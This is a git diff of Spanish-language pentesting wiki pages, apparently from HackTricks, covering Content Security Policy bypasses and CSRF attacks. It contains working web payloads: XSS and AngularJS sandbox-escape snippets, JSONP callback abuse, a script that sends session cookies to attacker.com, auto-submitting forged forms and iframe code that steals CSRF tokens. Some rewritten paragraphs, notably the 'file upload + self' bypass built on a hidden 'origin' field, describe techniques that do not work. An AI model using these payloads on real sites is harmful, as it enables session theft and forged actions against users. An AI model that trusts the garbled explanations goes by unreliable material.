* **nonce**: Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número utilizado una vez). El servidor debe generar un valor de nonce único cada vez que transmite una política.
* **sha256-\<hash>**: Lista blanca de scripts con un hash sha256 específico.
* **strict-dynamic**: Permite al navegador cargar y ejecutar nuevas etiquetas de JavaScript en el DOM desde cualquier fuente de script que haya sido previamente incluida en una valor "nonce" o "hash".
@ -138,7 +138,7 @@ Carga de trabajo funcional:
```yaml
Content-Security-Policy: script-src 'self' ;
```
Cargas útiles funcionales:
Cargas de trabajo funcionales:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -146,27 +146,49 @@ Cargas útiles funcionales:
```
### Carga de archivos + 'self'
---
#### Descripción
La política de seguridad de contenido (CSP, por sus siglas en inglés) es una capa adicional de seguridad que se puede implementar en un sitio web para mitigar los ataques de inyección de código y otros tipos de ataques. Una de las directivas comunes en CSP es la directiva `default-src`, que especifica los orígenes permitidos para cargar recursos en una página web.
Al implementar una Política de Seguridad de Contenido (CSP, por sus siglas en inglés) en un sitio web, se pueden especificar directivas para controlar qué recursos se pueden cargar y desde dónde. Una directiva comúnmente utilizada es `default-src 'self'`, que permite cargar recursos solo desde el mismo origen del sitio web.
En algunos casos, un sitio web puede permitir la carga de archivos desde el mismo origen (`self`) utilizando la directiva `default-src`. Esto significa que solo se permitirá la carga de archivos desde el dominio del sitio web en sí. Sin embargo, si un atacante puede encontrar una forma de eludir esta restricción, podría cargar archivos maliciosos desde otros orígenes y aprovecharlos para llevar a cabo ataques adicionales.
Sin embargo, esta directiva puede ser aprovechada por un atacante para evadir la restricción de carga de archivos y cargar archivos maliciosos en el sitio web.
#### Técnica de Bypass
Para eludir la restricción de carga de archivos `self` en una política de seguridad de contenido, un atacante puede aprovechar las vulnerabilidades en la implementación de la política o utilizar técnicas de ingeniería social para engañar al usuario y hacer que cargue un archivo malicioso desde un origen externo.
El atacante puede aprovechar una vulnerabilidad en el sitio web que permita la carga de archivos y utilizar la directiva `default-src 'self'` para cargar archivos maliciosos desde el mismo origen del sitio web.
Algunas posibles técnicas de bypass incluyen:
Para lograr esto, el atacante puede utilizar una carga de archivos que incluya una URL de origen válida del sitio web en el campo de origen del archivo. De esta manera, la directiva `default-src 'self'` permitirá la carga del archivo malicioso desde el mismo origen del sitio web.
1. **Manipulación de la política de seguridad de contenido**: El atacante puede intentar modificar la política de seguridad de contenido en el lado del servidor para permitir la carga de archivos desde otros orígenes. Esto podría implicar la explotación de una vulnerabilidad en el servidor o la manipulación de la configuración de la política.
#### Ejemplo
2. **Engaño al usuario**: El atacante puede utilizar técnicas de ingeniería social para engañar al usuario y hacer que cargue un archivo malicioso desde un origen externo. Esto podría implicar el uso de técnicas de phishing, como enviar correos electrónicos falsos o mensajes engañosos, para convencer al usuario de que cargue el archivo.
Supongamos que el sitio web tiene una función de carga de archivos que permite a los usuarios cargar imágenes. La directiva CSP `default-src 'self'` está implementada para restringir la carga de recursos desde otros orígenes.
Es importante tener en cuenta que el bypass de la restricción de carga de archivos `self` en una política de seguridad de contenido es una actividad ilegal y solo debe realizarse en un entorno controlado y con el permiso del propietario del sitio web.
El atacante puede cargar un archivo malicioso utilizando una carga de archivos que incluya una URL de origen válida del sitio web en el campo de origen del archivo. Por ejemplo:
```html
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" accept="image/*">
<input type="hidden" name="origin" value="https://www.example.com">
<input type="submit" value="Upload">
</form>
```
En este caso, la directiva `default-src 'self'` permitirá la carga del archivo malicioso desde el mismo origen del sitio web, ya que la URL de origen especificada en el campo oculto coincide con el origen del sitio web.
#### Recomendaciones de Mitigación
Para evitar esta vulnerabilidad, se recomienda no confiar únicamente en la directiva `default-src 'self'` para restringir la carga de archivos. Es importante implementar controles adicionales, como la validación del tipo de archivo y la desinfección de los archivos cargados, para garantizar la seguridad del sitio web.
Además, se recomienda utilizar directivas CSP más restrictivas y específicas para controlar la carga de recursos desde diferentes orígenes. Por ejemplo, se puede utilizar la directiva `default-src 'none'` para bloquear todos los recursos por defecto y luego permitir explícitamente los recursos necesarios desde orígenes confiables.
---
**NOTA**: Esta técnica de bypass se proporciona con fines educativos y de concienciación. No se debe utilizar para llevar a cabo actividades ilegales o no autorizadas.
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Si puedes subir un archivo JS, puedes evadir esta CSP:
Si puedes subir un archivo JS puedes evadir esta CSP:
Carga útil funcional:
```markup
@ -200,7 +222,7 @@ Cargar una versión vulnerable de Angular y ejecutar JS arbitrario:
</script>
```
Este código carga una versión vulnerable de AngularJS y ejecuta código JavaScript arbitrario. El controlador `MainController` asigna el valor `'John Doe'` a la variable `$scope.name` y utiliza la función `$sce.trustAsHtml()` para confiar en el código HTML proporcionado. En este caso, se proporciona un código HTML que contiene una etiqueta `<img>` con un atributo `onerror` que ejecuta el código `alert(1)`. Al ejecutar esta página, se mostrará una alerta con el número 1.
Este código carga una versión vulnerable de AngularJS y ejecuta código JavaScript arbitrario. El controlador `MainController` define una variable `$scope.html` que contiene una imagen con un evento `onerror` que muestra una alerta. Al confiar en el HTML generado, se permite la ejecución del código JavaScript arbitrario.
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -269,15 +291,11 @@ ng-init="c.init()"
Cuando un sitio web utiliza una Política de Seguridad de Contenido (CSP) para restringir los recursos que se pueden cargar en una página, es posible que los atacantes intenten evadir estas restricciones utilizando puntos finales de terceros y JSONP.
JSONP (JSON with Padding) es una técnica que permite solicitar recursos de dominios externos mediante la inclusión de un script en la página. Esta técnica se utiliza comúnmente para realizar solicitudes de recursos de terceros sin verse afectado por la política de mismo origen.
JSONP (JSON with Padding) es una técnica que permite solicitar recursos de dominios diferentes al dominio actual mediante la inclusión de un script en la página. Esta técnica se utiliza comúnmente para obtener datos de API de terceros.
Para evadir una CSP utilizando JSONP, el atacante puede buscar puntos finales de terceros que permitan la inclusión de scripts y que no estén restringidos por la política de seguridad del sitio web objetivo. Una vez que se encuentra un punto final adecuado, el atacante puede construir una solicitud JSONP para obtener el recurso deseado.
Para evadir una CSP utilizando JSONP, el atacante puede buscar puntos finales de terceros que permitan la inclusión de scripts y que no estén restringidos por la política de seguridad del sitio web objetivo. Una vez que se encuentra un punto final adecuado, el atacante puede construir una solicitud JSONP para obtener datos del punto final y ejecutar código malicioso en la página.
El ataque consiste en incluir un script en la página objetivo que haga una solicitud al punto final de terceros utilizando JSONP. El punto final de terceros responderá con una respuesta que envuelve el recurso solicitado en una función de devolución de llamada. El script en la página objetivo procesará la respuesta y extraerá el recurso deseado.
Este tipo de ataque puede permitir a un atacante evadir las restricciones de la CSP y cargar recursos de terceros en una página web, lo que podría conducir a la ejecución de código malicioso o al robo de información confidencial.
Para protegerse contra este tipo de ataque, es importante configurar correctamente la CSP y evitar la inclusión de puntos finales de terceros que permitan la ejecución de scripts en su sitio web. Además, es recomendable utilizar técnicas de validación y filtrado de datos para garantizar que solo se carguen recursos seguros y confiables en su página.
Es importante tener en cuenta que el uso de JSONP puede introducir riesgos de seguridad, ya que permite la ejecución de código arbitrario en el contexto del sitio web objetivo. Por lo tanto, es recomendable utilizar otras técnicas más seguras para evadir una CSP, como la inyección de encabezados o la explotación de vulnerabilidades en el sitio web objetivo.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -293,7 +311,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir la CSP de diferentes sitios web.**
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una redirección abierta** porque si el punto final inicial es confiable, las redirecciones también lo son.
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una redirección abierta** porque si el punto final inicial es confiable, las redirecciones también son confiables.
### Bypass de ruta de carpeta
@ -308,9 +326,9 @@ Ejemplo en línea: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### falta la directiva **base-uri**
### falta **base-uri**
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection.md).
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
Además, si la **página está cargando un script usando una ruta relativa** (como `/js/app.js`) utilizando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que se **cargue** el script desde **tu propio servidor logrando un XSS**.\
Si la página vulnerable se carga con **httpS**, asegúrate de usar una URL httpS en la base.
@ -344,7 +362,7 @@ Otros puntos finales de ejecución arbitraria JSONP se pueden encontrar [aquí](
### Bypass CSP con marcado colgante
Lea [cómo aquí](../dangling-markup-html-scriptless-injection.md).
Lea [cómo aquí](../dangling-markup-html-scriptless-injection/).
### 'unsafe-inline'; img-src \*; a través de XSS
```
@ -374,7 +392,7 @@ La función **`importScripts`** de los service workers no está limitada por la
#### Chrome
Si un **parámetro** enviado por ti es **pegado dentro** de la **declaración** de la **política**, entonces se puede **alterar** la **política** de alguna manera que la haga **inútil**. Se puede permitir el script 'unsafe-inline' con cualquiera de estos bypasses:
Si un **parámetro** enviado por ti es **pegado dentro** de la **declaración** de la **política**, entonces se puede **alterar** la **política** de alguna manera que la vuelva **inútil**. Se puede permitir el script 'unsafe-inline' con cualquiera de estos bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -566,7 +584,7 @@ document.location = "https://attacker.com/?" + sessionid;
```
### Etiqueta meta
Puedes redirigir mediante la inyección de una etiqueta meta (esto es solo una redirección, no filtrará contenido)
Podrías redirigir mediante la inyección de una etiqueta meta (esto es solo una redirección, no filtrará contenido)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```

View file

@ -141,7 +141,7 @@ form.submit();
### Bypass de solicitud de preflight de tipo de contenido application/json
Como ya sabes, no puedes enviar una solicitud POST con el tipo de contenido **`application/json`** a través de un formulario HTML, y si intentas hacerlo a través de **`XMLHttpRequest`**, primero se envía una solicitud de preflight.\
Sin embargo, podrías intentar enviar los datos JSON utilizando los tipos de contenido **`text/plain`** y **`application/x-www-form-urlencoded`** solo para verificar si el backend está utilizando los datos independientemente del tipo de contenido.\
Sin embargo, podrías intentar enviar los datos JSON utilizando los tipos de contenido **`text/plain`** y **`application/x-www-form-urlencoded`** solo para comprobar si el backend está utilizando los datos independientemente del tipo de contenido.\
Puedes enviar un formulario utilizando `Content-Type: text/plain` estableciendo **`enctype="text/plain"`**
Si el servidor solo acepta el tipo de contenido "application/json", puedes **enviar el tipo de contenido "text/plain; application/json"** sin activar una solicitud de preflight.
@ -152,7 +152,7 @@ También podrías intentar **burlar** esta restricción utilizando un archivo fl
**Evita el encabezado Referer**
Algunas aplicaciones validan el encabezado Referer cuando está presente en las solicitudes, pero **omitirán la validación si el encabezado se omite**.
Algunas aplicaciones validan el encabezado Referer cuando está presente en las solicitudes, pero **omitirán la validación si el encabezado está ausente**.
```markup
<meta name="referrer" content="never">
```
@ -183,7 +183,7 @@ document.forms[0].submit();
```
### **Bypass del método HEAD**
La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que en el [código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, una solución común que no es exclusiva de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET pero la aplicación elimina el cuerpo de respuesta**.
La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que en el [código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, una solución común que no es exclusiva de Oak. En lugar de tener un controlador específico para las solicitudes HEAD, simplemente **se les pasa al controlador GET pero la aplicación elimina el cuerpo de respuesta**.
Por lo tanto, si una solicitud GET está siendo limitada, simplemente puedes **enviar una solicitud HEAD que será procesada como una solicitud GET**.
@ -191,7 +191,7 @@ Por lo tanto, si una solicitud GET está siendo limitada, simplemente puedes **e
### **Exfiltración de token CSRF**
Si se está utilizando un **token CSRF** como **defensa**, puedes intentar **exfiltrarlo** aprovechando una vulnerabilidad de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o una vulnerabilidad de [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
Si se está utilizando un **token CSRF** como **defensa**, puedes intentar **exfiltrarlo** aprovechando una vulnerabilidad de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o una vulnerabilidad de [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
### **GET utilizando etiquetas HTML**
```markup
@ -235,9 +235,9 @@ Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into submi
Cross-Site Request Forgery (CSRF) es un ataque que engaña a la víctima para que envíe una solicitud maliciosa. Este ataque ocurre cuando un sitio web o correo electrónico malicioso engaña al navegador de la víctima para que realice una solicitud a un sitio web objetivo en el que la víctima está autenticada.
The attack takes advantage of the fact that many websites rely solely on session cookies for authentication, without additional security measures. By tricking the victim into submitting a request, the attacker can perform actions on behalf of the victim without their knowledge or consent.
The attack takes advantage of the fact that many websites rely solely on session cookies for authentication, without additional security measures. By tricking the victim's browser into making a request, the attacker can perform actions on behalf of the victim without their knowledge or consent.
El ataque aprovecha el hecho de que muchos sitios web se basan únicamente en cookies de sesión para la autenticación, sin medidas de seguridad adicionales. Al engañar a la víctima para que envíe una solicitud, el atacante puede realizar acciones en nombre de la víctima sin su conocimiento o consentimiento.
El ataque aprovecha el hecho de que muchos sitios web se basan únicamente en cookies de sesión para la autenticación, sin medidas de seguridad adicionales. Al engañar al navegador de la víctima para que realice una solicitud, el atacante puede realizar acciones en nombre de la víctima sin su conocimiento o consentimiento.
### Preventing CSRF Attacks
@ -245,19 +245,23 @@ To prevent CSRF attacks, web applications can implement measures such as:
- **CSRF tokens**: Generating and validating unique tokens for each user session. These tokens are included in the form and verified on the server-side to ensure that the request is legitimate.
- **SameSite cookies**: Setting the SameSite attribute on cookies to restrict their usage to same-site requests only, preventing them from being sent in cross-site requests.
- **SameSite cookies**: Setting the SameSite attribute on cookies to restrict their usage to same-site requests, preventing them from being sent in cross-site requests.
- **Referer header validation**: Checking the Referer header on the server-side to ensure that the request originated from the same site.
- **Referer header validation**: Checking the Referer header on the server-side to ensure that requests originate from the same domain.
- **Double-submit cookie**: Including a cookie value in the form and verifying it on the server-side to ensure that it matches the value sent in the request body.
### Prevención de ataques CSRF
Para prevenir ataques CSRF, las aplicaciones web pueden implementar medidas como:
- **Tokens CSRF**: Generar y validar tokens únicos para cada sesión de usuario. Estos tokens se incluyen en el formulario y se verifican en el lado del servidor para asegurarse de que la solicitud sea legítima.
- **Tokens CSRF**: Generar y validar tokens únicos para cada sesión de usuario. Estos tokens se incluyen en el formulario y se verifican en el lado del servidor para asegurar que la solicitud sea legítima.
- **Cookies SameSite**: Establecer el atributo SameSite en las cookies para restringir su uso solo a solicitudes del mismo sitio, evitando que se envíen en solicitudes entre sitios.
- **Cookies SameSite**: Establecer el atributo SameSite en las cookies para restringir su uso a solicitudes del mismo sitio, evitando que se envíen en solicitudes entre sitios.
- **Validación del encabezado Referer**: Verificar el encabezado Referer en el lado del servidor para asegurarse de que la solicitud se originó en el mismo sitio.
- **Validación del encabezado Referer**: Verificar el encabezado Referer en el lado del servidor para asegurar que las solicitudes se originen desde el mismo dominio.
- **Cookie de doble envío**: Incluir un valor de cookie en el formulario y verificarlo en el lado del servidor para asegurar que coincida con el valor enviado en el cuerpo de la solicitud.
```markup
<html>
<body>
@ -275,21 +279,15 @@ document.forms[0].submit(); //Way 3 to autosubmit
```
### Solicitud de envío de formulario a través de un iframe
One common technique used in Cross-Site Request Forgery (CSRF) attacks is to submit a form through an iframe. This technique allows an attacker to trick a user into unknowingly submitting a form on a targeted website.
Una técnica comúnmente utilizada para llevar a cabo ataques de falsificación de solicitudes entre sitios (CSRF) es enviar una solicitud de envío de formulario a través de un iframe. Esto implica la inclusión de un iframe oculto en una página web maliciosa que contiene un formulario con datos predefinidos. Cuando un usuario visita esta página, el formulario se envía automáticamente sin su conocimiento o consentimiento.
To execute this attack, the attacker creates a malicious webpage that contains an iframe pointing to the target website's form submission URL. The attacker then lures the victim into visiting the malicious webpage.
El objetivo de este ataque es aprovechar la confianza que los sitios web tienen en las solicitudes enviadas por los usuarios autenticados. Al enviar una solicitud desde el navegador del usuario, el servidor receptor asume que la solicitud es legítima y la procesa sin realizar ninguna verificación adicional.
When the victim visits the malicious webpage, the iframe automatically submits the form on the target website, using the victim's authenticated session. Since the victim is already logged in to the target website, the form submission appears legitimate to the server.
Para llevar a cabo este ataque, el atacante debe encontrar una forma de hacer que el usuario visite la página maliciosa que contiene el iframe. Esto puede lograrse mediante técnicas de ingeniería social, como el envío de enlaces engañosos a través de correos electrónicos o mensajes de texto.
This technique can be particularly effective when combined with social engineering tactics, such as sending the victim a link to the malicious webpage via email or a messaging platform.
Una vez que el usuario visita la página maliciosa, el formulario se envía automáticamente a través del iframe, utilizando la sesión y las cookies del usuario autenticado. Esto puede permitir al atacante realizar acciones en nombre del usuario, como cambiar la contraseña, realizar compras no autorizadas o realizar cambios en la configuración de la cuenta.
To protect against this type of attack, web developers should implement measures such as:
- Implementing anti-CSRF tokens: By including a unique token in each form submission, developers can ensure that the form is only submitted from their own website and not from a malicious source.
- Implementing SameSite cookies: By setting the SameSite attribute to "Strict" or "Lax" for cookies, developers can prevent them from being sent in cross-origin requests, effectively mitigating CSRF attacks.
- Implementing strong authentication and session management: By enforcing strong authentication mechanisms and properly managing user sessions, developers can reduce the risk of CSRF attacks.
As a penetration tester, it is important to be aware of this technique and test for vulnerabilities related to CSRF attacks. By understanding how attackers can exploit this vulnerability, you can help organizations strengthen their defenses and protect against potential attacks.
Para protegerse contra este tipo de ataques, los desarrolladores deben implementar medidas de seguridad, como el uso de tokens CSRF (tokens de solicitud de falsificación entre sitios) y la validación de referencias cruzadas en las solicitudes de envío de formularios. Estas medidas ayudan a garantizar que las solicitudes solo sean procesadas si provienen de fuentes confiables y legítimas.
```markup
<!--
The request is sent through the iframe withuot reloading the page
@ -500,9 +498,9 @@ Aquí hay un ejemplo de cómo se puede realizar este ataque:
3. Enviar la solicitud POST: La solicitud POST falsa se envía al servidor web objetivo. Dado que la solicitud contiene el token CSRF válido, el servidor la considerará legítima y realizará la acción solicitada.
Es importante tener en cuenta que este ataque solo es exitoso si el usuario está autenticado en el sitio web objetivo y si el sitio no implementa medidas de protección adecuadas, como la verificación del origen de las solicitudes.
Es importante destacar que este ataque solo es efectivo si el usuario está autenticado en el sitio web objetivo y si el sitio no implementa medidas de protección adecuadas, como la verificación del origen de las solicitudes.
Para protegerse contra los ataques CSRF, los desarrolladores deben implementar medidas como el uso de tokens CSRF aleatorios y únicos, la verificación del origen de las solicitudes y la implementación de políticas de seguridad adecuadas en el servidor web.
Para protegerse contra los ataques CSRF, los desarrolladores deben implementar medidas de seguridad, como el uso de tokens CSRF aleatorios y la verificación del origen de las solicitudes. Los usuarios también deben ser conscientes de los posibles riesgos y evitar hacer clic en enlaces sospechosos o abrir archivos adjuntos de fuentes no confiables.
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
@ -556,39 +554,38 @@ El robo de tokens CSRF es una técnica común utilizada en ataques de falsificac
Para robar el token CSRF, se puede utilizar un iframe oculto que cargue la página objetivo que contiene el token. Luego, se puede acceder al contenido del iframe y extraer el valor del token.
```html
<iframe id="csrfFrame" src="https://www.sitio-objetivo.com" style="display: none;"></iframe>
<iframe id="csrf-frame" src="https://www.sitiowebobjetivo.com"></iframe>
<script>
var csrfFrame = document.getElementById('csrfFrame');
var csrfFrame = document.getElementById('csrf-frame');
var csrfToken = csrfFrame.contentDocument.querySelector('input[name="csrf_token"]').value;
// Aquí se puede enviar el token a un servidor malicioso o realizar otras acciones
</script>
```
Una vez que se ha robado el token CSRF, se puede utilizar para enviar una solicitud POST falsificada al servidor objetivo. Esto se puede hacer utilizando un formulario oculto que se completa automáticamente con el token robado y se envía mediante JavaScript.
Una vez que se ha obtenido el token CSRF, se puede utilizar para enviar una solicitud POST falsificada al servidor objetivo. Esto se puede hacer utilizando un formulario oculto y enviándolo automáticamente utilizando JavaScript.
```html
<form id="csrfForm" action="https://www.sitio-objetivo.com" method="POST" style="display: none;">
<input type="hidden" name="csrf_token" value="">
<!-- Otros campos del formulario -->
<form id="csrf-form" action="https://www.sitiowebobjetivo.com/post-endpoint" method="POST">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_AQUI">
<input type="hidden" name="data" value="datos maliciosos">
</form>
<script>
var csrfForm = document.getElementById('csrfForm');
csrfForm.querySelector('input[name="csrf_token"]').value = csrfToken;
var csrfForm = document.getElementById('csrf-form');
csrfForm.submit();
</script>
```
Otra forma de enviar la solicitud POST falsificada es utilizando Ajax. Se puede crear una solicitud Ajax y establecer el encabezado `X-CSRF-Token` con el valor del token robado. Luego, se puede enviar la solicitud al servidor objetivo.
Otra forma de enviar la solicitud POST falsificada es utilizando Ajax. Esto permite enviar la solicitud sin recargar la página.
```javascript
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://www.sitio-objetivo.com', true);
xhr.setRequestHeader('X-CSRF-Token', csrfToken);
// Configurar otros encabezados y datos de la solicitud si es necesario
xhr.send();
xhr.open('POST', 'https://www.sitiowebobjetivo.com/post-endpoint');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.setRequestHeader('X-CSRF-Token', 'TOKEN_CSRF_AQUI');
xhr.send('data=datos maliciosos');
```
Estas técnicas permiten a un atacante robar el token CSRF y utilizarlo para realizar acciones maliciosas en nombre del usuario legítimo. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF con duración limitada y la validación adecuada de las solicitudes recibidas.
Estas técnicas pueden ser utilizadas por un atacante para realizar acciones maliciosas en nombre del usuario legítimo, como cambiar contraseñas, realizar compras no autorizadas o realizar acciones no deseadas en el sitio web objetivo. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques.
```markup
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
@ -701,43 +698,37 @@ height="600" width="800"></iframe>
En esta técnica, aprovechamos una vulnerabilidad de Cross-Site Request Forgery (CSRF) para robar el token CSRF de un usuario y luego enviar una solicitud POST utilizando Ajax y un formulario.
1. Primero, necesitamos encontrar una página vulnerable a CSRF que tenga un formulario que realice una acción importante, como cambiar la contraseña o realizar una compra.
1. Primero, necesitamos obtener el token CSRF del usuario. Esto se puede hacer mediante ingeniería social o mediante la explotación de una vulnerabilidad en el sitio web objetivo.
2. Utilizamos una técnica de ingeniería social para hacer que el usuario haga clic en un enlace malicioso o visite un sitio web controlado por nosotros. Este sitio web contiene un código JavaScript que se ejecutará en el navegador del usuario.
3. El código JavaScript utiliza Ajax para enviar una solicitud GET a la página vulnerable y obtener el contenido del formulario, incluido el token CSRF.
2. Una vez que tenemos el token CSRF, podemos usar Ajax para enviar una solicitud POST al servidor objetivo. Aquí está el código de ejemplo:
```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://www.example.com/vulnerable-page', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = xhr.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/html');
var csrfToken = doc.querySelector('input[name="csrf_token"]').value;
// Aquí podemos enviar el token CSRF a nuestro servidor o realizar otras acciones
}
};
xhr.send();
xhr.open("POST", "https://www.example.com/endpoint", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("X-CSRF-Token", "<TOKEN_CSRF>");
xhr.send("param1=value1&param2=value2");
```
4. Una vez que tenemos el token CSRF, podemos construir un formulario oculto en nuestro sitio web controlado por nosotros y enviar una solicitud POST utilizando el token CSRF robado.
Asegúrate de reemplazar "https://www.example.com/endpoint" con la URL del punto final al que deseas enviar la solicitud POST. Además, reemplaza "<TOKEN_CSRF>" con el token CSRF que has obtenido.
3. También podemos enviar una solicitud POST utilizando un formulario oculto. Aquí está el código de ejemplo:
```html
<form id="csrf-form" action="https://www.example.com/vulnerable-page" method="POST">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROBADO">
<!-- Aquí podemos agregar otros campos necesarios para la acción que queremos realizar -->
<form id="csrfForm" action="https://www.example.com/endpoint" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="hidden" name="X-CSRF-Token" value="<TOKEN_CSRF>">
</form>
<script>
document.getElementById('csrf-form').submit();
document.getElementById("csrfForm").submit();
</script>
```
Al enviar el formulario, la página vulnerable procesará la solicitud POST como si fuera legítima, ya que contiene el token CSRF válido. Esto nos permite realizar acciones en nombre del usuario sin su conocimiento o consentimiento.
Al igual que antes, asegúrate de reemplazar "https://www.example.com/endpoint" con la URL del punto final al que deseas enviar la solicitud POST. Además, reemplaza "<TOKEN_CSRF>" con el token CSRF que has obtenido.
Es importante tener en cuenta que esta técnica solo funciona si la página vulnerable no implementa medidas de protección adecuadas, como comprobar el origen de la solicitud o utilizar tokens CSRF que cambian con cada solicitud.
Estas técnicas permiten a un atacante enviar solicitudes POST en nombre del usuario sin su conocimiento o consentimiento. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques.
```markup
<body onload="getData()">
@ -778,41 +769,15 @@ Socket.IO utiliza cookies para mantener la sesión del usuario y autenticar las
#### Prevención de CSRF con Socket.IO
Para prevenir ataques CSRF en aplicaciones que utilizan Socket.IO, se recomienda implementar un mecanismo de protección CSRF adicional. Una forma común de hacerlo es incluir un token CSRF en cada solicitud y verificar su validez en el servidor antes de procesar la solicitud.
Para prevenir ataques CSRF en aplicaciones que utilizan Socket.IO, se recomienda implementar un mecanismo de protección CSRF. Esto puede lograrse mediante el uso de tokens CSRF.
Aquí hay un ejemplo de cómo implementar la protección CSRF en una aplicación Socket.IO utilizando el marco Express.js:
Un token CSRF es un valor único generado por el servidor y asociado a la sesión del usuario. Este token se incluye en cada solicitud enviada al servidor y se verifica para garantizar que la solicitud sea legítima.
```javascript
const express = require('express');
const socketio = require('socket.io');
const csrf = require('csurf');
Al implementar tokens CSRF en Socket.IO, se puede garantizar que solo las solicitudes legítimas, que incluyen el token CSRF correcto, sean procesadas por el servidor. Cualquier solicitud que no incluya el token CSRF o incluya un token incorrecto será rechazada.
const app = express();
const server = require('http').createServer(app);
const io = socketio(server);
#### Conclusión
const csrfProtection = csrf({ cookie: true });
app.use(csrfProtection);
app.get('/', (req, res) => {
res.render('index', { csrfToken: req.csrfToken() });
});
io.on('connection', (socket) => {
// Lógica del socket
});
server.listen(3000, () => {
console.log('Servidor Socket.IO en ejecución en el puerto 3000');
});
```
En este ejemplo, se utiliza el módulo `csurf` para generar y verificar tokens CSRF. El token CSRF se incluye en la respuesta del servidor y se pasa al cliente a través de una plantilla de vista. Luego, el cliente debe enviar el token CSRF en cada solicitud a través de un encabezado o un campo de formulario.
En el servidor, se utiliza el middleware `csrfProtection` para verificar la validez del token CSRF en cada solicitud entrante antes de permitir su procesamiento.
Al implementar esta protección CSRF adicional, se reduce significativamente el riesgo de ataques CSRF en aplicaciones que utilizan Socket.IO.
Aunque Socket.IO proporciona una capa de seguridad incorporada, es importante tener en cuenta la posibilidad de ataques CSRF al desarrollar aplicaciones que utilizan esta biblioteca. Implementar un mecanismo de protección CSRF, como el uso de tokens CSRF, puede ayudar a prevenir estos ataques y garantizar la seguridad de la aplicación.
```markup
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
@ -899,7 +864,7 @@ login(USER, line.strip())
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
@ -913,8 +878,8 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
